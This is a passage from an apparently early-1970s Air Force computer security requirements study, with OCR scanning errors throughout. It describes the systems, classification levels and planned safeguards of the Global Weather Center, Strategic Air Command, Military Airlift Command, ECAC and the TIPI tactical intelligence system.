about 100 terminals at each of 30 bases for a total of 3, 000 terminals; about 2400 
of these would be low speed and 600 would be high speed terminals. The projected 
t:ime for system installation is about 1980. 

SECURITY SOLUTIONS 

The AUTODIN system relies on checking the classification authorized for each 
circuit. The authorized classification is stored in tables which are prepared 
off-line and then entered into the computer. Changes to AUTODIN software are 
prepared at a central location, then checked indepdently several times before being 
put into use. 

The LDMX system is developing a low cost, secure terminal for use in a store 
and forward environment which will have the cryptographic equipment and terminal 
hardware as an integral unit. The cryptographic equipment will be protected by a 
secure enclosure that is part of the terminal. Both high and low speed terminals 
are being developed. 



AIR FORCE GLOBAL WEATHER CENTER 


OVERVIEW 


The Air Force Global Weather Center (AFGWC), located at Offutt AFB, Nebraska, 
is a named USAF unit under the command jurisdiction of the Commander, Air Weather 
Service. The AFGWC provides meterological support to military command and control 
systems, including the National Military Command System (N!..IJ:CS) and the Strategic 
Air Command Automated Command Control System (SACCS), Air Weather Service 
units and special mission aircraft as directed by the Air Weather Service or higher 
headquarters. In addition, special environment and support is provided to classified 
projects for USAF and other US government agencies. The AFGWC representative 
on the requirements working group was Lt. Col. Charles R. Stevens. 

SYSTEM 

The major automatic data processing equipment of AFGWC consists of four 
UNIVAC 1108 multiprogrammed computers integrated into a single system. The 
four computers will be interconnected by Inter-Computer Coupler Units (ICCU) so 
that there can be two-way exchange of data between systems I, II, and IV, and one 
way receive-only input into system III from system I. Conventional data are gathered 
and routine products are disseminated by the AWS-AFCS Automated Weather Network 
(AWN) which interfaces with the AFGWX system. Reliability is achieved by equipment 
redundancy. Each of the four UNIVAC 1108 computers may operate in real-time, 
providing information either upon request or at regular intervals. 

The functions of each of these computer systems are discussed below: 

a. System I. This system is the applications processor. Its main functions 
are: communications, decoding and validation of observed meterological 
data, dissemination of tailored products, generation of computer flight 
plans, and input to Strategic Air Command Automated Command Control 
System (SACCS). When System I is down, system IV becomes the logical 
System I. 

b. System II. This system is the meterological processor and provides 
backup to system III when needed. The analysis and forecasting models 
are executed on this system for the purpose of building the data base 
for use by System I. 

c. System III. This is the Special Projects processor which provides support 
to classified projects and processes meterological satellite data. This 
system is currently being approved to process Special Access Program 
material. 



d. 	 System IV. This system is the backup and development processor. Its main 
functions are to provide backup for system I or system II and to test 
developmental software. In addition, system IV processes some scheduled 
production which cannot be accomplished on system I. 

The principal components of the system program package for AFGWC are the 
UNIVAC EXEC VIII and the Real Time Operating System (RTOS). EXEC VIII is a 
generalized control program of about 40K 36-bit words developed and maintained 
by UNIVAC. It provides multiprogramming capability, three modes of operation, 
peripheral equipment control, and numerous other services of value tn the user. 

RTOS is a supplemental program developed by AFGWC and maintained by AFGWC 
and AFCS programmers. RTOS provides the interface between the specific technology 
of the environmental data processing programs and the generalized services of EXEC 
VIII. In addition, RTOS initiates scheduled batch mode programs, identifies and 
manages incoming data, accepts and services requests for initiation of demand 
programs, and routes products to the appropriate output devices. AFCS programmers 
will eventually assume responsibility for the maintenance of the communications 
modules of RTOS. They also develop software for the forthcoming direct interface 
of the AFGWC computers with AUTODIN. 

The UNIVAC 1108 communications subsystem enables the 1108 to receive and 
transmit data via any common carrier at any of the standard transmission rates 
up to 40. 8 K bits per second. The subsystem consists of two principal elements: 
the Communication Terminal Module (CTM) and the Communications Terminal Module 
Controller (CTMC) through which the CTM accommodates two full duplex, or two input 
simplex communication lines. The CTMC can handle 16 CTMs, therefore one CTMC 
can handle a maximum of 32 inputs and 32 outputs. 

The AFGWC computer system has four CTMCs, two (CTMC I and II) are cmmected 
to system I and two (CTMC III and IV) are connected to system IV. All classified lines 
connect to CTMC II. All lines that penetrate outside the immediate AFGWC area 
are enc cypted. 

SECURITY 

AFGWC has a requirement to operate two of its computers (Systems II and III), 
with Top Secret, SI and SAO, and two of its systems (I and IV) in a mixed mode 
with classifications up to Top Secret. There is a future possibility of needing to 
handle SlOP ESI information on the AFGWC machines. 

FUTURE TRENDS 

It is expected that more interaction with other systems will be required in the 
future. A near term example is that of exchanging information with SACCS instead 
of the current approach of only sending information. 

101\ 



Machines of the class of STAR, ILLIAC IV, and ASC may be used in the future 
and be required to be secure. This class of machines would present very difficult 
security problems. 

SECURITY SOLUTIONS 

The computer systems operate in controlled areas and are manned 24 hours a 
day, 7 days a week, by appropriately cleared personnel. A Security Management 
Organization consisting of the Senior Intelligence Officer, the System Security 
Manager, and System Security Officer has the responsibility to ensure proper 
security of the system. 

Although the computer systems operate in a multiprogramming mode, all soft­
ware is controlled so that a demand user can access the system, only to cause 
selected programs to be executed. 

The following elements comprise the software security systems: 

Security Control Programs; 

Protected Programs; 

A Security Audit Log; 

A Classified Tape Log; and controls on handling and marking of classified 
input and output. 



STRATEGIC AIR COMMAND 


OVERVIEW 


The Strategic Air Command (SAC) controls both a bomber force and a ballistic 
missile force. The control of these forces requires several data processing systems, 
some of which are quite extensive, and use of communication channels extending over 
continental distances. The SAC data processing complex has reached such a size, 
and become so essential for the operations of SAC, that an Assistant Chief of Staff 
for Data Systems has been created as a single manager by SAC. He is tasked with 
supporting SAC Command and Control, Intelligence, and Management Information 
data processing systems. He controls some 900 programmers and systems analysts 
and approximately 35 machines. His organization contains a Security Branch. The 
SAC representative on the Requirements Working Group was Maj. Walter A. Kujawa 
who is Chief of the Security Branch. 

SYSTEMS 

SAC has a wide variety of machines and systems. From the data processing 
standpoint the requirements for these systems include the full range of transaction 
processing, file maintenance, and general programming. SAC meets these require­
ments on medium to large sclae resource-sharing computer systems, provided local 
and remote batch as well as time-sharing services, and interfacing with both SAC­
controlled and non SAC-controlled networks of computers. 

The machines used include IBM 360/44, 360/50, and 360/85, Honeywell 635 and 
6070, Univac 1218 and 1106, and Burroughs 3500. 

The systems include an online graphics processing system, PACER, which uses 
a Honeywell G635 and security techniques similar to those of Advanced Logistics 
System. PACER is connected to the Visual Analysis Subsystem (VASS) which is an 
intelligence support graphics system that uses a linked IBM 360/50 and Univac 1218. 
Other systems of consequence at SAC are the Defense Support Program (DSP) computer 
(a Univac 1106) and the base level computers (Burroughs 3500s). 

The SAC Automated Command Control System (SACCS) is the apex of the systems 
important to SAC operations. Its major function is force control. Further uses 
include Single Integrated Operations Plan (SlOP) planning, War Gaming, and staff 
support. There is also a unique online requirement of the 4000th Support Group to 
use the SACCS computer system approximately every 15 minutes and to receive 
a response within 2 seconds. 

SACCS consists of three major subsystems: the Data Transmission Subsystem 
(DTS); the Data Processing Subsystem (DPS); and the Data Display Subsystem (DDS). 
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The DTS connects the DPS with all the SAC command posts at about 50 different 
locations at the SAC bases and SAC Numbered Air Force Headquarters. 

The DPS currently uses three AN/FSQ-3l(V) Data Processing Centrals, three 
IBM 140ls, and an IBM 7090, and two IBM 1460s. All these machines are being 
replaced with two dual processor Honeywell 6070 WWMCCS machines, which will 
interface with the SAC Automated Total Information Network (SATIN) store and 
forward communications processor. SATIN will be interfaced, in turn, to the 4000th 
Support Group's terminal (which is connected via a minicomputer to the 4000th's data 
network), the SACCS DTS, and AUTODIN. In addition, the DPS WWMCCS machines 
will be directly connected to an IBM 360/44 which is connected to VASS which in turn 
interfaces with the Defense Support Program (DSP) computer. 

The DPS passes information to the DDSs, located at Headquarters SAC and the 
Numbered Air Force Headquarters. The DDS supports a total of about 250 different 
displays of a variety of types including large screen displays. 

The foregoing is not a complete summary of the SAC system configuration, but 
rather illustrates its complexity. 

The software for the present SACCS is specially tailored to the system, allowing 
it to operate rapidly and to achieve efficient use of resources. SAC is concerned 
that the WWMCCS-supplied software for the new system may be more generous in 
its use of resouces and may also not be able to perform the necessary jobs in a 
timely fashion. The following comparison typifies that concern: whereas the current 
FSQ-31 operating system requires 15K 48-bit words of memory, GCOS, the WWMCCS 
operating the system, can require as much as lOOK 36-bit words. 

SECURITY 

The SAC system operates in a security environment that includes all levels of 
classification as well as special need-to-know restrictions, e.g. , Restricted Data, 
Special Access Required (SAR), SIOP-ESI, SI, and SAO. Ninety percent of the 
processing is classified; Sixty percent is Top Secret and most of that is SIOP-ESI. 
Present day operation treats all output as Top Secret-ES! until it's classification is 
established. 

SAC has an operational requirements for multilevel secure systems which allow 
the processing of various classification levels and the support of users and terminals 
which are not cleared for the highest classification level being processed on the 
system. An example of this requirement is the fact that the 4000th support group, 
who are not cleared for SIOP-ESI but have a secret SAR environment, will be 
requiring a 2 second response time every 15 minutes from a machine that handles 
SIOP-ESI. A Required Operational Capability (ROC) for multilevel security is being 
prepared by SAC. 



At present all outputs and machines are in secure vault areas. The programmers' 
clearance is to the highest level handled by the system. 

FUTURE TRENDS 

The SACCS is a significant part of the WWMCCS network, which is expected to 
grow in size and complexity. The Safeguard ABM, the Advanced Airborne Command 
Post, and the Defense Support Program will be key to this increase. The implication 
of the increase is that more information will be available more rapidly to SACCS, 
implying a broader and more current data base for command and control decisions. 
For example, since more options could be considered and decisions made in real-time, 
online crisis management is possible in which coordinated response options are 
compared, selected and controlled. To do that, however, will require rapid response 
times while the systems are handling great masses of very sensitive data. Since the 
resources will be pressed by these requirements, information security must be 
achieved by methods that will not significantly degrade response times and will 
minimize the use of resources. 

SECURITY SOLUTIONS 

SAC has formulate a phased security plan. In Phase I of the plan, unclassified 
processing will be done and there will be a minimal implementation of user catalogs, 
permissions, and passwords. SAC will perform TEMPEST tests of the system in­
stallations and make comparisons of the test results with those of previous Electro­
magnetic Interference (EMI) tests. 

Phase II of the plan begins with the development of purge procedures capable 
of meeting AFR-205-25 (which defines the regulations for safeguarding the SlOP). 
These will include procedures for purging the WWMCCS communications processors, 
the CRT buffer areas, and the disks. Next SAC will develop a classified test data 
base with all of its processing and output contained in a secure vault area. The test 
data base will use a single machine to handle all classifications from Top Secret 
down through Confidential. Additionally, the testing during this period will address 
system integrity; i.e. , the determination of the extent to which GCOS can reliably 
handle multiprogramming. This effort will require a minimal password capability 
and SAC will begiJ, the development of user catalogs. In handling output, SAC will 
stamp all hard copy both front and back and safeguard it as though it were 
SIOP-ESI, until the programmers downgrade it. During this period, contractor 
support of the programming will pose a problem, because the contractors would 
require SIOP-ESI clearance. 

The plans call for beginning by October of 1973 to use the new machines 
operationally. It was assumed that by then SAC would have completed the communi­
cations packages, the GCOS file and control procedures, and the interrupt routines, 
and the DoD direction to establish certification will be available. Given the required 
procedures and guidance, and compliance with them, the system would operate with 
multilevel security. 
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Implementation of the preceding plan will require detailed consideration of many 
topics such as the following: 

(a) 	 The verification of GCOS 

(b) 	 System integrity 

(c) 	 Separation of work 

(d) 	 Control of priority 

(e) 	 Catalog and file protection 

(f) 	 Permissions 

(g) 	 Passwords 

(h) 	 Remote terminals 

(i) 	 Lockouts and alarms 

(j) 	 Disallowing changes in support packages 

(k) 	 The control of output data for teletypes 

(l) 	 CRTs and hard copy from CRTs 

(m) 	Accountability and audit trails 

(n) 	 Security packages for the WWMCCS communications processor 

(o) 	 The Data-Net 355 

(p) 	 System restoration and recovery 

(q) 	 Development of tests 

(r) 	 Purges, recertifications, and lockouts 

(s) 	 Security routines for SATIN and the 4000th Support Group 

(t) 	 Interface security packages for SA TIN and SAC DMS 

(u) 	 System verification including initial certification, recertification, and 
an online testing program 

(v) 	 Continuously testing the hardware and software with the user's programming 

(w) 	 Hardware and software subverter 

For day-to-day operations, a security "command post"-like activity will make 
decisions on such problems as safe data and recovery. This should be an online 
operational capability. 



MILITARY AIRLIFT COMMAND (MAC) 


OVERVIEW 


The Military Airlift Command runs one of the world's largest airline operations, 
handling both passengers and cargo. MAC has the responsibility to airlift troops and 
equipment for all the armed forces. MAC has data processing equipment that 
supports its automated cargo and passenger handling systems. These systems are 
currently being updated. In addition to this updating, an expansion of system functions 
to include management information is in the process of development. This new 
integrated system is termed the MAC Integrated Management System (MACIMS). The 
MAC representative on the Requirements Working Group was Lt. Col. Jack Reed. 

SYSTEM 

The MAC Integrated Managements System will feature a fully integrated data 
base, and will satisfy the online processing requirements of MAC's day-to-day 
business as well as those of command management. MACIMS will primarily use 
WWMCCS ADP program hardware. In addition to their MACIMS functions, the 
WWMCCS machines will be used in support of the National Command Authority. 
MACIMS is scheduled to become operational about 1975, and to have a five year life. 

MACIMS will use a complex of three WWMCCS computers to be collocated at 
Scott AFB, Illinois. 2400 bps lines will mutually interconnect the three computers 
and 70 or more remote interactive terminals will interface with each of them. The 
computers will also be accessed, via AUTODIN, by terminals at overseas locations. 
The majority of the terminals will do only unclassified work, but about a third of them 
will be eligible to receive classified information. MACIMS will interconnect with the 
Air Weather Services' forecasting system and will use data from that and other 
systems to do computer flight planning. 

SECURITY 

MACIMS is required to process both classified and unclassified data, and to serve 
both and non-secure online terminals, simultaneously. The work load will be about 
97% unclassified. 

MACIMS will also have an aggregation problem. Large amounts of unclassified 
data are being brought together into a structured data base, from which it will be 
accessible and can be used to assemble classified infonm tion. 

MAC has stated a requirement that any authorized user should be able to use any 
MACIMS terminal to do anything in the system. This requirement precludes the 
applicability of those security approaches that restrict access to classified data tb 
only specific terminals which have a validated security clearance. The requirement 



instead demands more sophisticated approaches. Another problem arises from the 
fact that important uncertainties exist concerning the status of the WWMCCS security 
system. 

FUTURE TRENDS 

Currently most of the MAC system is running unclassified. Most of the classified 
work relates to doing things in support of other commands and is classified up to 
Top Secret. This classified work is currently handled in specifically controlled areas. 
In the future MACIMS era a transition will take place from the current highly dispersed 
data base with its many unclassified jobs to a large integrated and structured data base, 
classified due to its size and scope. The new mode of operation will include unclassi­
fied users accessing what is effectively a classified data base. The data base will be 
effectively classified not only because of the aggregation of structured data but also 
because it will contain classified items of information. 

There will also be increased connection between MACIMS and other systems such 
as the Global Weather Center and the Advanced Logistics System. 

SECURITY SOLUTIONS 

MACIMS will use the WWMCCS security package. 

Initially, the MACIMS security approach will be that of scheduling certain periods 
of time for classified operation. During these periods certain portions of the system 
will be completely isolated from the balance of the system to allow the isolated 
portions to operate as a closed secure system with classified data. During these 
periods, however, the overall system performance will be degraded. Consequently 
this approach to security cannot be tolerated for long periods. 

There will be password protection for the accessing of data in this interim 
system, but this protection will apply mostly to need to know. 



ELECTROMAGNETIC COMPATIBILITY ANALYSIS CENTER 


OVERVIEW 

The Electromagnetic Compatibility Analysis Center (ECAC) is funded by the 
Air Force and is Detachment Eight under AFSC/ESD. Functionally, ECAC is under 
JCS Control, so that it is a DOD Component, administered by the Air Force. ECAC 
is a contractor operated center with 300 contractor personnel and 35 to 40 military 
and civilian personnel including representatives from all the services. Using 
mathematical models ECAC analyzes systems which contain electromagnetic gen­
erating and sensing equipment to determine if the equipments can exist together 
without mutual interference. ECAC does frequency management and maintains the 
records keeping system for the Joint Frequency Panel. They also provide data base 
outputs from their equipment-in-place file, and do radar siting analyses. The 
representative of ECAC on the Requirements Working Group was Mr. Dick Greatorex. 

SYSTEM 

ECAC uses a Univac 1108 with 100 million words of secondary storage and a data 
base of 65 to 70 million words. Currently this data base consists of the inventory 
of all military electronics and communications equipment in place within the CONUS 
and much of that outside the CONUS. File size limitations have dictated that 
separate files be established to accommodate the several categories of characteristics. 

The Nominal Characteristics File (NCF) contains the kind of nominal technical 
characteristics typically included in Technical Orders for the communications 
equipments which are in place. The in-place equipment environment file (E FILE) 
contains the information that relates each equipment to its location and environment. 
There is a large digitized topographic file that describes many areas both in the 
CONUS and elsewhere. This file is especially useful for radar siting analysis, and 
for factoring topography into mutual interference calculations. CRT terminals are 
used both for maintaining and working with the data base. 

The Illinois lnstitute of Technology Research Institute (IITRI) provides the 
on-site contractor personnel who do the bulk of the technical work for the facility. 
IITRI has generated and maintains the software, and performs most of the analysis. 

SECURITY 

Both the NCF and E files are Secret, however, the individual records in the file 
vary in classification from Confidential through Secret, and some records also contain 
Restricted Data. Each record in the file contains its own classification. The entire 
computer complex, including the CRT terminals which access it, is contained in a 
closed secure environment. The communication lines are not encrypted but are 
protected by being enclosed in the secure environment and inspected daily according 
to the provisions specified by the industrial security manual. 



All personnel in the building are cleared through Secret, and have need-to-know 
for all the information in the data base, and have online access to all the data in the 
system. The ECAC system is thus operated as a closed single-level (Secret) system. 

ECAC also has some requirements to service non-DOD agencies, notably the 
Federal Aviation Agency and the Federal Communications Commission, which will 
involve allowing them access to the data base. These requirements would be for a 
remote batch type of operation in which the non-DOD customer could trigger a 
program to access the data base and retrieve information from it. In the FAA case, 
all the inputs would be unclassified, but the data base would contain data classified 
up to Secret and all of the data requested would contain some classified information. 
Similarly, the FCC would like to use the ECAC data base in a secure interactive 
mode. Such uses would require a low-cost, secure, interactive terminal. NSA 
would also like to have a remote terminal from which to query the ECAC data base 
to obtain information to compare against NSA data bases. 

FUTURE TRENDS 

ECAC anticipates: 

(a) an increase in the number of system users; 

(b) a need for secure remote terminals which may be used by uncleared, 
well as cleared users; 

as 

(c) an expansion of the system data base to include more data on such items 
as status of frequency assignments; and 

(d) eventual tie-in to AUTODIN. 

The ECAC system is currently operating as a closed system, in which everyone 
who has access is cleared to the Secret level and has access to all the information 
in the system. The lines to the CRT terminals are out in the open but inspected 
daily for evidence of taps or damage indicating possible compromise. No audit 
trail is kept on the requests, but the high water mark of the security level of data 
requests is recorded. 

The second part of ECAC responsibilities is frequency management. To perform 
this function, ECAC is developing a frequency management data base which will in­
clude data obtained from field users. In order to encourage the users to give such 
data, ECAC recognizes that they should provide services to the users, such as 
allowing the users to make online queries of the data base. 

SECURITY SOLUTIONS 

At the time of the Working Group meeting ECAC gave no further information about 
security solutions . The current system is a closed system in which all personnel with 
access to the data are cleared, but solutions will be needed if outside agencies are to 
be given remote access to the ECAC data base. 



TACTICAL INFORMATION PROCESSING AND INTERPRETATION SYSTEM 

OVERVIEW 

The Tactical Information Processing and Interpretation System (TIPI) is a 
modularized family of equipments designed to satisfy the complete spectrum of 
tactical intelligence requirements for the Air Force and the Marine Corps general 
purpose forces. It consists of completely militarized Automatic Data Processing 
Equipment. The representative to the Requirements Working Group from the TIPI 
system office at ESD (TYI) was Mr. M. L. Mleziva. 

SYSTEM 

Mr. Mleziva gave information on three principal elements of the system: 

(a) the Display Control, Storage and Retrieval Element (DC/SR); 

(b) Image Interpretation (II); and 

(c) Image Processing (IP) 

There is a two-way flow of information with the Tactical Air Control System 
(TACS), accommodating both queries and data. 

One DC/SR would be deployed for a limited war situation, and would be located 
at the Numbered Air Force Headquarters (NAFH). The DC/SR will have online 
terminals at the Tactical Air Control Center (TACC) as well as the NAFH, and the 
lowest forward man at the Forward Command Post (FCP) would have access to the 
DC/SR data base. 

The DC/SR contains an AN/UYK-7 computer which interfaces with a communica­
tions processor, a data base containing potentially 300 million characters, and 
AN/UYK-12 minicomputers which drive the CRT display terminals. The communica­
tion processor handles 1200-2400 bps data links and 75 bps teletype lines. A secure 
voice backup is provided for these channels. There is one shelter for the UYK-7, 
one for the disk/drum storage, and one for each CRT cluster. 

The IP has 40 shelters and contains no computer. 

The II contains a medium scale Texas Instruments Computer and 12 shelters. 
This latter element processes photos and enters information into storage. 

The DC/SR is a dedicated system with no programming done in the field. The 
UYK-7 uses JOVIAL but the other machines in the complex use assembler level 
programming. The UYK-7 is a 32 bit machine in which it is relatively difficult to 
enter a program. There is only minimal on-site capability for patches to the system. 
The data base has partially inverted files. 

1'lf\ 



SECURITY 

The system is basically a closed system. The DC/SR is a Top Secret environ­
ment and its communications are encrypted. It appends the high watermark classi­
fication to the data processed. There are requirements for file system access to be 
checked. Although desirable, neither provisions nor procedures for core purging 
or emergency destruction of data have yet been implemented. 

FUTURE TRENDS 

No information on future plans or trends for this system were presented. 

SECURITY SOLUTIONS 

The system is a closed system. The equipment is in a protected, secured 
environment with cryptographic protection for communications. 
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